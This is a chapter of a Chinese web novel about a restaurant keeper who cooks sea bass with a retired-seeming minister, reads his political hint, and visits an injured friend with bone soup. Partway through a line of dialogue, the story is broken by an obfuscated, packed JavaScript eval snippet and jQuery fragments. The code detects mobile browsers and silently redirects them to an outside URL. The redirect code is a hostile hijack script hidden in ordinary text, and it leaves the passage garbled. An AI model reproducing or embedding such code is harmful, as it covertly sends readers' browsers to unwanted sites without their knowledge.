这几日推出的辣菜颇受欢迎,没了邹洪捣乱,加上独家美酒雾里青的助力,百味坊的生意更上一层楼了。
崔平做饭也愈发得心应手,罗姈自在悠闲地在店里招呼客人。
“罗掌柜,今日这椒麻豆腐可真够味!”
“酸辣粉还有没有?我想再来一碗。”
“罗娘子你也太会想了,我这五脏庙可是要被你套牢啦!”
……
与食客们一一搭过话,罗姈美滋滋地在账台点起了银子。
不消时,店中又来了人,门边的食客主动提醒:“阿伯,送鱼走后门。”
小春闻声抬眼,赶紧戳了戳罗姈:“娘子,是章三司!”
还是一身旧蓑衣和破鱼篓,看不出一点儿位高权重的样子。
罗姈立马迎过去:“章相您来了?”
章仕春摇头:“今日没有章相,只有钓鱼翁,老翁我来给你送鱼来了。”
说罢摇了摇手里的破鱼篓,沉甸甸的,收获满满,一脸炫耀。
罗姈盈盈一笑:“好,作为报酬我就请老翁用一顿饭食。”
席间老少二人如忘年挚友,推杯换盏,相谈甚欢,从风土人情到佳肴美馔。
直至论起鱼来,罗姈认为各鱼皆美,不分轩轾,而章仕春却坚持鱼中至味当属鲈鱼。
两人分说不下,章仕春撸袖起身:“我来给你露一手。”
还以为章相只是老道饕客,没想到竟也能入庖厨。
罗姈兴致勃勃地凑上去,亲手给章仕春系上围裙。
“金齑玉脍,听说过吧。”章仕春招招手,罗姈将配料姜蒜端来。
“不够,还要白梅、熟栗、粳米和橘子。”
罗姈一直以为这道名古馔就是用姜、蒜、韭做成齑汁,配上鱼脍食用,没想到竟还有这么多讲究。
“我那篓里就有鲈鱼,拿一斤多的来,太大的不要,做脍会老。”章仕春嘱咐。
随后将鲜橘皮、熟栗、和切好的姜蒜放入石臼。
章仕春指点道:“这金齑之色需取橘黄,但多橘则苦,故添栗黄,益取甜味。”
“还有这蒜,宜去蒜心,若全心使用,过辣亦不美。”
又撒下一把米,教罗姈:“再加米,米之甘亦是平衡之法。”
“选用这种短圆敦实的珍珠粳米,它比细瘦苗条的长棍籼米更有糯香。”
罗姈点点头表示受教。
再添反复腌晒,吸饱了盐的梅干,因为析出的盐晶如同白霜一样覆盖表面,故称白梅。不用取核,直接丢下去一起捣碎,八枚足以。
石臼肚深而圆鼓,装了满满当当的金黄与银白,散发着幽幽的辛辣与甘甜,另加盐与酢,咸香与酸香共舞。
用石杵用力捶打,反复碾磨,很快就倒出一碗复杂香浓的金齑。
再片鱼脍,冬日鲈鱼正是鲜嫩肥硕的时节,肉厚且细,最是美味。
其实好的刀工片完鱼后应是沾纸无水痕的,但章仕春到底是少事庖厨,片鱼的功夫十分平平。
待白玉片片铺就,这金齑玉脍终于做好了,罗姈十分期待。
将肥美的鲈鱼片放在烫热的盐板上轻轻炙烤,快快翻面,不能炙得太熟,太熟失其鲜嫩,微微泛白即可。
沾上一点“碎金”放入口中,微微的酸,细细的咸,淡淡的辣与甜,配上鲈鱼之鲜,当真应了东坡先生那句:“金齑玉脍饭炊雪。”
“没想到您还真会做饭食。”罗姈看章仕春应对庖事还算熟练而感叹。
对于这样一位忙于政事的大宰相来说这种程度已经很厉害了,不像她的阿爹,不分五谷。
章仕春放下筷子,镇定道:“其实我就擅这一道。”
带着一点怀念望向窗外:“这金齑玉脍是我夫人教我的,她幼时在吴江长大,算半个吴江人,尤其喜爱家乡的鲈鱼玉脍。”
章仕春的夫人,章明达的母亲,罗姈对这位女郎充满好奇,她一定也是一个精于食道的老饕。
觉察到微末的伤感,罗姈弯了弯嘴角:“您很想念夫人吧,”她安慰,“人都道吴江是丰饶鱼米地,幽雅水云乡,尊夫人一去经年,想必已了莼鲈之思。”
“我才不想她,”章仕春撇过头掩去眼角的湿痕,“她一去十年,把我说抛下就抛下。”
“我才不想她。”又强调一遍。
转过来重新挂上熟悉的散漫笑容:“我还要再找一个比她美貌千百倍的娇娘。”
“找了十年还没找到,想必尊夫人一定貌若仙子,”罗姈轻笑揶揄,“我看您的二婚是难了。”
“哼。”章仕春撇嘴不应。
他定定看着罗姈转道:“丫头你晓得今日这么些个鱼,我是从哪儿捞的吗?”
以为章仕春要炫耀,罗姈配合道:“从哪儿?”
“浊河浑水。”
章仕春老神在在,一脸深意:“丫头你记着,因为……水至清则无鱼。”
这话绝不是随便闲谈,今日章仕春来找她是有目的的,罗姈皱眉深思。
须臾,她恍然:“多谢渔老翁提点,我明白了。”
西戎使臣将至,通商一事迟迟未决,陛下仍在考量。
其中,以枢密使陈三友和禁军统领孙鹏举为代表的反对派,一直不支持和西戎开放商贸。
而顾承禾一直没有表态,他觉着通商利民,但出于顾家祖祖辈辈保卫疆土,他实在不喜胡人。
而今日章仕春前来之态,说明她阿爹罗正松在朝上已经明确了立场。
文武离心,两势平衡,该是需要顾承禾唱反调的时候了。
送走章仕春,罗姈在灶台又煲了一罐汤,嘱咐小春:“你在店里支应着,我去一趟承恩伯府。”
她去探望方愉贞。
也是那日落崖后她才晓得,原来顾承禾、易礼、方愉贞三人是自幼一起长大的情谊,算是青梅竹马。
很小的时候,顾家和方家就定亲了。
但是当时边关战事吃紧,顾承禾一直征战在外,没有回京。
婚事拖了一年又一年,到方愉贞十八岁的时候,也就是罗姈现在这个年纪,顾承禾的父亲战死沙场,他本人深入敌后杳无音讯。
都以为顾家军败了,顾承禾再也回不来了,顾老夫人就做主主动退了这门亲事。
没想到顾承禾回来了,大胜凯旋。
可他还要为父守丧,一年半后母亲又病故,而方愉贞的祖父方老太师也是行将就木,约莫也就是这几年了。
三年之后又三年,方愉贞耽搁不起了,方家也耽搁不起了。
最后方愉贞便嫁给了承恩伯的幼子,王家三郎王蕤。
阴差阳错,两人就这么错过,罗姈听罢也不禁为之唏嘘。
到了承恩伯府,由下人领着到了方愉贞的院落。
一路行来,罗姈暗暗皱眉,这也太僻远了些。
一跨进垂花门就闻到花卉芬芳,有腊梅、角堇、水仙、君子兰、石竹、常春藤……一眼望去仿若春田。
全都打理得极好,仰首挺胸地盛放着。
除了最中央的几盆蝴蝶兰,在众多绚烂花朵的簇拥下,她们枝叶尚绿,可是已经垂下花杆。
“愉贞,这些花儿都是你亲手打理的吗?养的真好!”
罗姈迎上去想要接过方愉贞的轮椅亲自推,被她的侍女躲开,讪讪收回手。
“宝儿!”方愉贞轻斥,“你下去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733839|185458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧。”
“哼!”宝儿一跺脚,还是闷闷地按规矩行了礼才走。
“下人无状,你别放心上。”方愉贞的声音还是那么温柔。
护主心切嘛,罗姈完全理解,这事儿确实是她的不是。
罗姈将方愉贞推到凉亭避风处坐下,打量道:“你这院子怎么这么偏?”简直不像是正经主院。
方愉贞微微垂头,扯出一抹笑:“我喜静,还要料理这些花儿,住这儿正好。”
“能把这些花儿养得全都越了冬,愉贞你好厉害。”
清风拂过,带着一丝怅落,方愉贞摇头:“这几株蝴蝶兰却是不行了……”
罗姈不懂养花,没什么行之有效的建议,只好转道:“你的脚伤怎么样了?”
“没什么大碍,扭了一下而已,没伤着筋骨,就是宝儿小题大做,非要我坐这轮椅。”说着方愉贞还想站起来活动给罗姈看,吓得她赶紧扶她坐回去。
“你可悠着点儿,不然我罪过大了。”
“对了,我给你煲了骨头汤,吃什么补什么,你得喝光啊。”
罗姈揭开带来的瓦罐盖,热气腾腾,豚肉香气由淡及浓地散开。
这是她仔仔细细煲了几个时辰的豚骨芸豆汤。
挑的是最粗最壮的大棒骨和圆子那么大的芸豆,塞了满满一大罐,间隙处扔了几个姜片、葱结去腥,就是油盐水其他什么都不搁,清亮亮地煮。
老火慢煨,绝对大补。
罗姈先给盛了一碗汤,泛着一点儿轻飘的油花儿,汤色如水。
轻抿一口,咸鲜吊着的肉骨香早就融入汤里,往深处寻,还有白芸豆的豆植香,清淡的甜,好似甜得渐弱,经不起深究,但就是似有若无。
暖暖地喝上一口,从舌尖抚到胃肠。
罗姈又给剔了贴骨肉,这肉啊还是扒着骨头的最香,跟着关节活动开了,肉质好,怎么做都不会塞牙。
精瘦夹着肥腴,煲得软烂,就是没牙的老太太也能吃得溜香。化在口腔里,肉汁丰沛,唇齿难忘。
再来几颗白芸豆子,别看它们外衣穿得严整,只要用牙齿轻轻一碰就陷入绵沙之中。咬破薄薄的豆衣,舌尖轻轻一推,软和的豆面就像擀面皮一样抻开,豆类独有的香气充盈,嚼一嚼,像极了清淡版的灵沙臛,粉面软和。
尤其这豚肉和芸豆还一起共浴汤泉这么久,早就你中有我,我中有你,香气难舍难分了。
其实啊还有这棒骨里头沁了汤的骨髓,那更是精华中的精华,捧着这么一吸溜,啧……绝了!
但想着愉贞是个斯文人,怕是做不来这粗犷事,罗姈便没有提。
足足喝了三碗汤,方愉贞阻止罗姈再盛:“够了够了,你这骨头汤一喝,我明儿就能下地了。”
罗姈遗憾收碗,末了她突然想起来问:“愉贞你现在在府里处境还好吧?”
她也是后来听李夫人讲才知,王家二郎娶的是邹洪的亲姐姐邹莹,承恩伯府如今是邹莹掌着家呢。邹家因她乱了套,愉贞又和她走得近,不晓得邹莹会不会为难。
方愉贞知她所想:“你放心,我与二嫂虽算不上亲近,但她也不会刻意与我为难。”
两人又絮絮说了些旁的闲话,忽而下人通传王家三郎回来了。
芝兰玉树,温和有礼,还十分健谈,不知比顾承禾那个冷面疙瘩好多少倍,罗姈初见颇有好感。
人家夫君回来了,寒暄后罗姈也识趣告辞。
她人还没走远,就听到王家三郎在背后问询方愉贞的伤势。
字字关切,句句细致,可罗姈总觉得没有在他的语调中听到该有的起伏……
就好像……是专程来说与她听的一般。